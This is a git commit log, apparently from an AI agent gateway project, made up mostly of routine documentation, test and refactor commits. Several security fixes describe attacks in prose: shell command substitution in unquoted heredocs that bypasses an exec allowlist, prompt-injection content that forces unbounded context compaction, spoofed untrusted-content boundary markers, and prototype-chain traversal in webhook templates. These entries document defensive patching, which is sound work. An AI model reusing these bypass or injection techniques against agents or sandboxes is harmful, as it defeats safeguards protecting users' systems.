581868365d fix: finish volcengine/byteplus landing polish (#7967) (thanks @funmore123) 2026-02-21 15:05:09 +01:00
fanziqing
559736a5a0 feat(volcengine): integrate Volcengine & Byteplus Provider 2026-02-21 15:05:09 +01:00
Peter Steinberger
95c14d9b5f docs: prune low-signal changelog entries 2026-02-21 15:02:10 +01:00
Peter Steinberger
7bd5c5d5a4 docs(changelog): reorder unreleased fixes by user impact 2026-02-21 14:37:49 +01:00
Peter Steinberger
892620ddab chore: update workspace dependencies 2026-02-21 14:35:13 +01:00
大猫子
c62a6e7040 fix(models): add kimi-coding implicit provider template (openclaw#22526) thanks @lailoo
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-21 07:35:09 -06:00
Peter Steinberger
14b3743228 fix(ci): stabilize Windows path handling in sandbox tests 2026-02-21 14:32:15 +01:00
Peter Steinberger
10b8839a82 fix(security): centralize WhatsApp outbound auth and return 403 tool auth errors 2026-02-21 14:31:01 +01:00
Peter Steinberger
f64d5ddf60 fix: replace README sponsors HTML table with markdown 2026-02-21 14:29:55 +01:00
Peter Steinberger
f23da067f6 fix(security): harden heredoc allowlist parsing 2026-02-21 14:27:51 +01:00
orlyjamie
92cada2aca fix(security): block command substitution in unquoted heredoc bodies
The shell command analyzer (splitShellPipeline) skipped all token
validation while parsing heredoc bodies. When the heredoc delimiter
was unquoted, bash performs command substitution on the body content,
allowing $(cmd) and backtick expressions to execute arbitrary commands
that bypass the exec allowlist.

Track whether heredoc delimiters are quoted or unquoted. When unquoted,
scan the body for $( , ${ , and backtick tokens and reject the command.
Quoted heredocs (<<'EOF' / <<"EOF") are safe - the shell treats their
body as literal text.

Ref: https://github.com/openclaw/openclaw/security/advisories/GHSA-65rx-fvh6-r4h2
2026-02-21 14:27:35 +01:00
Peter Steinberger
2706cbd6d7 fix(agents): include filenames in image resize logs 2026-02-21 13:16:41 +00:00
Peter Steinberger
3cfb402bda refactor(test): reuse state-dir helper in agent runner suite 2026-02-21 13:08:05 +00:00
Peter Steinberger
25db01fe08 refactor(test): use withEnvAsync in pairing store fixture 2026-02-21 13:06:12 +00:00
Peter Steinberger
21bb46d304 fix(ci): include browser network in sandbox test fixture 2026-02-21 13:05:51 +00:00
Peter Steinberger
7a27e2648a refactor(test): dedupe plugin env overrides via env helpers 2026-02-21 13:03:41 +00:00
Peter Steinberger
f48698a50b fix(security): harden sandbox browser network defaults 2026-02-21 14:02:53 +01:00
Peter Steinberger
cf82614259 refactor(test): reuse state-dir helper in telegram tests 2026-02-21 13:02:12 +00:00
Peter Steinberger
26eb1f781d refactor(test): reuse state-dir env helper in auth profile override e2e 2026-02-21 13:00:16 +00:00
Peter Steinberger
c2874aead7 refactor(test): centralize temporary state-dir env setup 2026-02-21 12:59:24 +00:00
Peter Steinberger
50a8942c07 docs(changelog): add WhatsApp reaction allowlist security note 2026-02-21 13:57:54 +01:00
Aether AI Agent
e217f8c3f7 fix(security): OC-91 validate WhatsApp JID against allowlist in all send paths — Aether AI Agent 2026-02-21 13:57:54 +01:00
Peter Steinberger
8c1518f0f3 fix(sandbox): use one-time noVNC observer tokens 2026-02-21 13:56:58 +01:00
Peter Steinberger
b43aadc34c refactor(test): dedupe temp-home setup in voicewake suite 2026-02-21 12:56:34 +00:00
Peter Steinberger
c529bafdc3 refactor(test): reuse temp-home helper in voicewake e2e 2026-02-21 12:54:54 +00:00
Peter Steinberger
577e5cc74b refactor(test): dedupe gateway env setup and add env util coverage 2026-02-21 12:52:21 +00:00
Peter Steinberger
621d8e1312 fix(sandbox): require noVNC observer password auth 2026-02-21 13:44:24 +01:00
Peter Steinberger
6cb7e16d40 fix(oauth): harden refresh token refresh-response validation 2026-02-21 13:44:14 +01:00
Henry Loenwind
24d18d0d72 fix: Correct data path in SKILL.md (coding-agent) (#11009)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f7e56b80c6
Co-authored-by: HenryLoenwind <1485873+HenryLoenwind@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 18:09:25 +05:30
Peter Steinberger
be7f825006 refactor(gateway): harden proxy client ip resolution 2026-02-21 13:36:23 +01:00
Ayaan Zaidi
8b1fe0d1e2 fix(telegram): split streaming preview per assistant block (#22613)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 26f35f4411
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 18:05:23 +05:30
Peter Steinberger
36a0df423d refactor(gateway): make ws and http auth surfaces explicit 2026-02-21 13:33:09 +01:00
Peter Steinberger
1835dec200 fix(security): force sandbox browser hash migration and audit stale labels 2026-02-21 13:25:41 +01:00
Peter Steinberger
b2d84528f8 refactor(test): remove duplicate cron tool harnesses 2026-02-21 12:25:23 +00:00
Peter Steinberger
f4c89aa66e docs(changelog): add tts provider-override hardening note 2026-02-21 13:24:42 +01:00
Peter Steinberger
9516ace3c9 docs(changelog): note ACP resource-link prompt hardening 2026-02-21 13:23:51 +01:00
Peter Steinberger
14b0d2b816 refactor: harden control-ui auth flow and add insecure-flag audit summary 2026-02-21 13:18:23 +01:00
Peter Steinberger
4cd7d95746 style(browser): apply oxfmt cleanup for gate 2026-02-21 13:16:07 +01:00
Peter Steinberger
f265d45840 fix(tts): make model provider overrides opt-in 2026-02-21 13:16:07 +01:00
Peter Steinberger
d25a106628 docs(changelog): add tailscale auth hardening release note 2026-02-21 13:08:06 +01:00
Peter Steinberger
f202e73077 refactor(security): centralize host env policy and harden env ingestion 2026-02-21 13:04:39 +01:00
Peter Steinberger
08e020881d refactor(security): unify command gating and blocked-key guards 2026-02-21 13:04:37 +01:00
Peter Steinberger
356d61aacf fix(gateway): scope tailscale tokenless auth to websocket 2026-02-21 13:03:13 +01:00
Peter Steinberger
6aa11f3092 fix(acp): harden resource link metadata formatting 2026-02-21 13:00:02 +01:00
Peter Steinberger
073651fb57 docs: add sponsors section to README 2026-02-21 13:00:02 +01:00
Peter Steinberger
b577228d6b test(security): add overflow compaction truncation-budget regression 2026-02-21 12:59:10 +01:00
Aether AI Agent
084f621025 fix(security): OC-65 prevent compaction counter reset to enforce context exhaustion limit — Aether AI Agent
Remove the `overflowCompactionAttempts = 0` reset inside the inner loop's
tool-result-truncation branch. The counter was being zeroed on each truncation
cycle, allowing prompt-injection attacks to bypass the MAX_OVERFLOW_COMPACTION_ATTEMPTS
guard and trigger unbounded auto-compaction, exhausting context window resources (DoS).

CWE-400 / GHSA-x2g4-7mj7-2hhj
2026-02-21 12:59:10 +01:00
Peter Steinberger
2b76901f35 docs(changelog): credit reporter for control-ui auth hardening 2026-02-21 12:57:22 +01:00
Peter Steinberger
99048dbec2 fix(gateway): align insecure-auth toggle messaging 2026-02-21 12:57:22 +01:00
Peter Steinberger
810218756d docs(security): clarify trusted-host deployment assumptions 2026-02-21 12:53:12 +01:00
Peter Steinberger
ede496fa1a docs: clarify trusted-host assumption for tokenless tailscale 2026-02-21 12:52:49 +01:00
Peter Steinberger
fbb79d4013 fix(security): harden runtime command override gating 2026-02-21 12:49:57 +01:00
Peter Steinberger
cb84c537f4 fix: normalize status auth cost handling and models header tests 2026-02-21 12:45:06 +01:00
Peter Steinberger
e393d7aa5b docs(changelog): clarify Security/Exec release note 2026-02-21 12:44:20 +01:00
Peter Steinberger
dff61a10e1 docs(changelog): add windows system.run approval mismatch fix note 2026-02-21 11:58:40 +01:00
Santiago Medina Rolong
11f6bea598 add secret safety 2026-02-21 11:58:14 +01:00
Santiago Medina Rolong
8db5e77ffa skills: fmt 2026-02-21 11:58:14 +01:00
Santiago Medina Rolong
da844d6411 skills: update xurl description 2026-02-21 11:58:14 +01:00
Santiago Medina
ac2ef69454 Update skills/xurl/SKILL.md
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-21 11:58:14 +01:00
Santiago Medina Rolong
635b6298e3 skills: add xurl skill 2026-02-21 11:58:14 +01:00
Peter Steinberger
283029bdea refactor(security): unify webhook auth matching paths 2026-02-21 11:52:34 +01:00
Peter Steinberger
6007941f04 fix(security): harden and refactor system.run command resolution 2026-02-21 11:49:38 +01:00
Peter Steinberger
5cc631cc9c fix(agents): harden model-skip and tool-policy imports 2026-02-21 11:48:02 +01:00
Peter Steinberger
55aaeb5085 refactor(browser): centralize navigation guard enforcement 2026-02-21 11:46:11 +01:00
Peter Steinberger
2cdbadee1f fix(security): block startup-file env injection across host execution paths 2026-02-21 11:44:20 +01:00
Peter Steinberger
6b2f2811dc fix(security): require BlueBubbles webhook auth 2026-02-21 11:41:50 +01:00
Peter Steinberger
220bd95eff fix(browser): block non-network navigation schemes 2026-02-21 11:31:53 +01:00
Peter Steinberger
c6ee14d60e fix(security): block grep safe-bin file-read bypass 2026-02-21 11:18:29 +01:00
Ayaan Zaidi
f81522af2e fix(docker): install Playwright Chromium into node cache (#22585)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 84dc9ffccd
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 15:48:27 +05:30
Peter Steinberger
75d4f6d51b docs: reorder and trim 2026.2.21 changelog entries 2026-02-21 11:12:58 +01:00
Peter Steinberger
eccff0b6c0 docs: relabel dependency hygiene changelog entries 2026-02-21 11:05:05 +01:00
Peter Steinberger
9231d7d30f chore: bump version to 2026.2.21 2026-02-21 11:02:30 +01:00
Ayaan Zaidi
677384c519 refactor: simplify Telegram preview streaming to single boolean (#22012)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a4017d3b94
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 15:19:13 +05:30
Ayaan Zaidi
e1cb73cdeb fix: unblock Docker build by aligning commands schema default (#22558)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 1ad610176d
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 14:47:28 +05:30
Vincent Koc
3f19259843 Update bug_report.yml 2026-02-21 04:06:07 -05:00
Vincent Koc
d2a7293744 Docs: issue template copy cleanup (#22546)
* docs: reduce channel-specific wording in feature template placeholder

* docs: make bug report template placeholders version-neutral

* docs: fix YAML indentation in bug report placeholder

* docs: fix indentation of version field in bug report template
2026-02-21 03:43:35 -05:00
Vincent Koc
dcf2c6d7f1 docs: normalize Amazon Bedrock setup section labels (#22549)
* docs(channels): promote Signal option setups to onboarding sections

* docs(channels): rename Microsoft Teams minimal setup section

* docs(channels): standardize onboarding option headings for Zalo and Twitch

* docs(providers): normalize Amazon Bedrock onboarding section labels
2026-02-21 03:40:54 -05:00
Vincent Koc
e36245bd37 docs: finalize onboarding option heading normalization (#22547)
* docs(channels): promote Signal option setups to onboarding sections

* docs(channels): rename Microsoft Teams minimal setup section

* docs(channels): standardize onboarding option headings for Zalo and Twitch
2026-02-21 03:38:37 -05:00
Vincent Koc
ef42fe0094 docs: rename Tlon setup heading (#22544)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor

* docs(channels): normalize BlueBubbles configuration heading

* docs(channels): normalize Feishu configuration heading

* docs(channels): standardize Signal setup option headings

* docs(channels): refine Twitch setup heading clarity

* docs(channels): simplify Zalo setup heading phrasing

* docs(channels): trim Microsoft Teams minimal setup heading

* docs(channels): rename Tlon setup to onboarding
2026-02-21 03:37:27 -05:00
Vincent Koc
b5a77b9cb2 docs: finalize remaining setup heading phrasing (#22543)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor

* docs(channels): normalize BlueBubbles configuration heading

* docs(channels): normalize Feishu configuration heading

* docs(channels): standardize Signal setup option headings

* docs(channels): refine Twitch setup heading clarity

* docs(channels): simplify Zalo setup heading phrasing

* docs(channels): trim Microsoft Teams minimal setup heading
2026-02-21 03:36:39 -05:00
Vincent Koc
d7891badda docs: more channel heading consistency updates (#22541)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor

* docs(channels): normalize BlueBubbles configuration heading

* docs(channels): normalize Feishu configuration heading

* docs(channels): standardize Signal setup option headings
2026-02-21 03:36:03 -05:00
Nimrod Gutman
78caf9ec3d feat(ios): surface gateway talk defaults and refresh icon assets (#22530)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 54f3a40e22
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-02-21 10:34:20 +02:00
Vincent Koc
e93e67bc8e docs: fix thinking section heading link target (#22539)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor
2026-02-21 03:33:06 -05:00
Vincent Koc
7c593cd333 docs: finish onboarding/config heading consistency (#22537)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading
2026-02-21 03:32:37 -05:00
Vincent Koc
79183852f9 docs: more channel onboarding naming cleanup (#22536)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading
2026-02-21 03:31:55 -05:00
Vincent Koc
4c4147fb0a docs: continue onboarding terminology cleanup (#22535)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading
2026-02-21 03:31:22 -05:00
Vincent Koc
5eca08dab7 Chore: trim stale TODOs and issue-template language (#22534)
* docs: refresh issue template contact copy

* chore: remove OneDrive resumable upload TODO note
2026-02-21 03:31:17 -05:00
Vincent Koc
12d75ff7f5 docs: continue channel onboarding/config naming cleanup (#22533)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading
2026-02-21 03:30:35 -05:00
Vincent Koc
436f79839b docs: more channel onboarding heading consistency (#22532)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading
2026-02-21 03:29:42 -05:00
Vincent Koc
325992b777 docs: small docs sweep consistency updates (#22531)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup
2026-02-21 03:29:17 -05:00
Vincent Koc
c20d519e05 feat(security): migrate sha1 hashes to sha256 for synthetic ids (#7343) (#22528)
* feat(prompt): add explicit owner hash secret to obfuscation path

* feat(security): migrate synthetic IDs to sha256 for #7343
2026-02-21 03:20:14 -05:00
Vincent Koc
9abab6a2c9 Add explicit ownerDisplaySecret for owner ID hash obfuscation (#22520)
* feat(config): add owner display secret setting

* feat(prompt): add explicit owner hash secret to obfuscation path

* test(prompt): assert owner hash secret mode behavior

* Update src/agents/system-prompt.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-21 03:13:56 -05:00
SleuthCo.AI
fe609c0c77 security(hooks): block prototype-chain traversal in webhook template getByPath (#22213)
* security(hooks): block prototype-chain traversal in webhook template getByPath

The getByPath() function in hooks-mapping.ts traverses attacker-controlled
webhook payload data using arbitrary property path expressions, but does not
filter dangerous property names (__proto__, constructor, prototype).

The config-paths module (config-paths.ts) already blocks these exact keys
for config path traversal via a BLOCKED_KEYS set, but the hooks template
system was not protected with the same guard.

Add a BLOCKED_PATH_KEYS set mirroring config-paths.ts and reject traversal
into __proto__, prototype, or constructor in getByPath(). Add three test
cases covering all three blocked keys.

Signed-off-by: Alan Ross <alan@sleuthco.ai>

* test(gateway): narrow hook action type in prototype-pollution tests

* changelog: credit hooks prototype-path guard in PR 22213

* changelog: move hooks prototype-path fix into security section

---------

Signed-off-by: Alan Ross <alan@sleuthco.ai>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-21 03:01:03 -05:00
Takayuki Maeda
0bee3f337a MSTeams: dedupe sent-message cache storage (#22514)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 88e14dcbe1
Co-authored-by: TaKO8Ki <41065217+TaKO8Ki@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 13:27:50 +05:30
Vincent Koc
f4a59eb5d8 Chore: harden A2UI bundle dependency resolution (#22507)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d84c5bde51
Co-authored-by: vincentkoc <25068+vincentkoc@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 13:16:31 +05:30
Vincent Koc
187f4ea41f deadcode: remove unused extension dev dependencies (#22495)
* Chore: remove unused extension dev dependencies

* Chore: fix changelog PR reference

* Chore: restore dropped deadcode changelog entries

* Chore: retag unused-dependency changelog entries
2026-02-21 02:15:43 -05:00
Vincent Koc
92ac6c95cc CI: format github workflow (#22497) 2026-02-21 02:12:36 -05:00
Vincent Koc
55eab106ac chore: remove root long and rolldown deps (#22481)
* chore(deadcode): add deadcode scanning and remove unused lockfile deps

* chore(changelog): mention deadcode CI scan pass

* ci: disable deadcode job temporarily

* docs(changelog): add PR ref and thanks for deadcode scan entry

* ci: comment out deadcode job condition while keeping it disabled

* Deps: remove dead root dependency from package manifest

* Changelog: reference PR for deadcode dependency cleanup

* Deps: remove unused root signal-utils

* Chore: remove unused lit context deps

* Chore: remove unused root lit dependency

* Chore: remove root long and rolldown deps

* Chore: add changelog for root long/rolldown removal

* Chore: fix a2ui bundling after root lit dependency removal

* Chore: simplify a2ui bundle script dependencies
2026-02-21 02:05:41 -05:00
Takayuki Maeda
40f1a6c0d2 chore: Dedupe sent-message cache storage (#22127)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8401257b27
Co-authored-by: TaKO8Ki <41065217+TaKO8Ki@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 12:34:59 +05:30
Vincent Koc
35fd322114 chore: format CI workflow (#22482)
* chore: format files for oxfmt

* chore: format CI workflow
2026-02-21 01:46:55 -05:00
Vincent Koc
7428f5a741 chore: format files for oxfmt (#22479) 2026-02-21 01:43:18 -05:00
Vincent Koc
c2f5628915 Fix formatting (#22474) 2026-02-21 01:37:02 -05:00
Vincent Koc
3002be76e4 docs: add custom spellcheck dictionary and fix docs typos (#22457)
* docs: fix typos and add docs spellcheck workflow

* docs: add changelog entry for docs spellcheck updates

* docs: fix FAQ TOC fragment links for markdownlint

* docs: fix TOC nesting and spellcheck dictionary flags
2026-02-21 01:35:35 -05:00
Vincent Koc
3b8d7b2e42 deps: remove dead root dependency (#22471)
* chore(deadcode): add deadcode scanning and remove unused lockfile deps

* chore(changelog): mention deadcode CI scan pass

* ci: disable deadcode job temporarily

* docs(changelog): add PR ref and thanks for deadcode scan entry

* ci: comment out deadcode job condition while keeping it disabled

* Deps: remove dead root dependency from package manifest

* Changelog: reference PR for deadcode dependency cleanup

* Deps: remove unused root signal-utils
2026-02-21 01:33:45 -05:00
Vincent Koc
569191fff1 extensions: fix MSTeams OneDrive fallback mention handling (#22472) 2026-02-21 01:30:33 -05:00
Vincent Koc
d3bb924709 chore(deadcode): add deadcode scanning and remove unused lockfile deps (#22468)
* chore(deadcode): add deadcode scanning and remove unused lockfile deps

* chore(changelog): mention deadcode CI scan pass

* ci: disable deadcode job temporarily

* docs(changelog): add PR ref and thanks for deadcode scan entry

* ci: comment out deadcode job condition while keeping it disabled
2026-02-21 01:29:20 -05:00
Vincent Koc
e7eba01efc Security: disable sandbox container --no-sandbox by default (#22451) 2026-02-21 01:23:49 -05:00
Vincent Koc
8877bfd11e gateway: trust-proxy-aware X-Forwarded-For resolution (#22466) 2026-02-21 01:23:21 -05:00
Vincent Koc
0fe8f07e0e Docs: add changelog entry for PR #19009 (#22464) 2026-02-21 01:17:22 -05:00
C.J. Winslow
58f7b7638a Security: add per-wrapper IDs to untrusted-content markers (#19009)
Fixes #10927

Adds unique per-wrapper IDs to external-content boundary markers to
prevent spoofing attacks where malicious content could inject fake
marker boundaries.

- Generate random 16-char hex ID per wrap operation
- Start/end markers share the same ID for pairing
- Sanitizer strips markers with or without IDs (handles legacy + spoofed)
- Added test for attacker-injected markers with fake IDs

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-21 01:16:02 -05:00
Vincent Koc
45fff13b1d TUI: strip only leading inbound metadata (#22461) 2026-02-21 01:13:02 -05:00
Vincent Koc
59167f86ca test: correct trusted proxy X-Forwarded-For expectation 2026-02-21 00:48:22 -05:00
Shadow
c01e486fc0 chore: credit co-author for #21458
Co-authored-by: Pejman Pour-Moezzi <481729+pejmanjohn@users.noreply.github.com>
2026-02-20 23:03:07 -06:00
Vincent Koc
07039dc089 Gateway: harden trusted proxy X-Forwarded-For parsing (#22429) 2026-02-20 23:59:20 -05:00
Vincent Koc
35be87b09b fix(tui): strip inbound metadata blocks from user messages (clean rewrite) (#22345)
* fix(tui): strip inbound metadata blocks from user text

* chore: clean up metadata-strip format and changelog credit

* chore: format tui metadata-strip tests

* test: align metadata-strip regression expectations

* refactor: reuse canonical inbound metadata stripper

* test: allow tmp media fixture paths in media-understanding tests

* refactor: reuse canonical inbound metadata stripper

* format: fix changelog blank line after headings

* test: fix unrelated check typing regressions

* test: align memory async mock embedding signatures

* test: avoid tsgo mock typing pitfall

* test: restore async search mock typings in merge tree

* test: trigger ci rerun without behavior change

* chore: dedupe todays changelog entries

* fix: dedupe sqlite mock keys in qmd manager test

* Update qmd-manager.test.ts

* test: align chat metadata sanitization expectation
2026-02-20 23:52:43 -05:00
vignesh07
338ae269d6 test(memory): avoid stmt mock shape flake by reusing typed busy stmt 2026-02-20 20:43:15 -08:00
vignesh07
665221a1f0 test(memory): mock sqlite stmt with all+get for busy case 2026-02-20 20:43:15 -08:00
vignesh07
e90eedb0ae test(memory): fix sqlite busy mock to match implementation 2026-02-20 20:43:15 -08:00
Vignesh Natarajan
cd6bbe8cea Session: enforce startup sequence on bare reset greeting 2026-02-20 20:38:56 -08:00
Tak Hoffman
7417c36268 fix(cron): honor maxConcurrentRuns in timer loop (openclaw#22413) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini (failed on unrelated baseline test: src/memory/qmd-manager.test.ts > throws when sqlite index is busy)

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-20 22:31:58 -06:00
Vignesh Natarajan
93c2f20a23 Memory: surface explicit memory_search unavailable status 2026-02-20 20:30:52 -08:00
Vignesh Natarajan
1cc2263578 TUI: bound chat-log growth to prevent render overflows 2026-02-20 20:27:58 -08:00
Vignesh Natarajan
2227840989 Gateway/TUI: filter heartbeat ACK noise in chat events 2026-02-20 20:23:28 -08:00
vignesh07
1ded4c672a test(memory): fix TS types after vitest/ts updates 2026-02-20 20:21:42 -08:00
Vignesh Natarajan
